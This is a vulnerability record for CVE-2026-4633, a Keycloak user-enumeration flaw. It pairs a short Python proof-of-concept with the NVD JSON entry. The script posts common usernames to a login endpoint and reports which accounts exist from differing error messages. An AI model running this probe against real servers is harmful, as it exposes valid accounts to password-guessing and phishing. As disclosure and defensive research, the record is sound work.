CVE-2026-4633

import requests def check_user_enumeration(target_url, username_list): """ PoC for CVE-2026-4633: Keycloak User Enumeration Checks for differential error messages in identity-first login flow. """ headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (CVE-Scanner)" } for username in username_list: # Payload simulating identity-first login with Organizations enabled payload = { "username": username, "organizationId": "test-org" } try: response = requests.post(target_url, data=payload, headers=headers, timeout=5) # Analyze response for differential clues if "User not found" in response.text or "INVALID_USER" in response.text: print(f"[-] User '{username}': Does not exist") elif "Invalid password" in response.text or "INVALID_CREDENTIALS" in response.text: print(f"[+] User '{username}': EXISTS (Valid user)") else: print(f"[?] Unknown response for '{username}': Status {response.status_code}") except Exception as e: print(f"[!] Error connecting to {target_url}: {e}") if __name__ == "__main__": target = "https://keycloak.example.com/realms/master/login-actions/authenticate" users = ["admin", "test", "root", "genericuser"] check_user_enumeration(target, users)

{"cve": {"id": "CVE-2026-4633", "sourceIdentifier": "[email protected]", "published": "2026-03-23T11:16:25.053", "lastModified": "2026-04-01T14:26:47.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. A remote attacker can exploit differential error messages during the identity-first login flow when Organizations are enabled. This vulnerability allows an attacker to determine the existence of users, leading to information disclosure through user enumeration."}, {"lang": "es", "value": "Se encontró una falla en Keycloak. Un atacante remoto puede explotar mensajes de error diferenciales durante el flujo de inicio de sesión 'identity-first' cuando las Organizaciones están habilitadas. Esta vulnerabilidad permite a un atacante determinar la existencia de usuarios, lo que lleva a la revelación de información a través de la enumeración de usuarios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:-:*:*:*:-:*:*:*", "matchCriteriaId": "E5C930CB-4EAD-497B-A44B-D880F2A1F85B"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-4633", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2450247", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}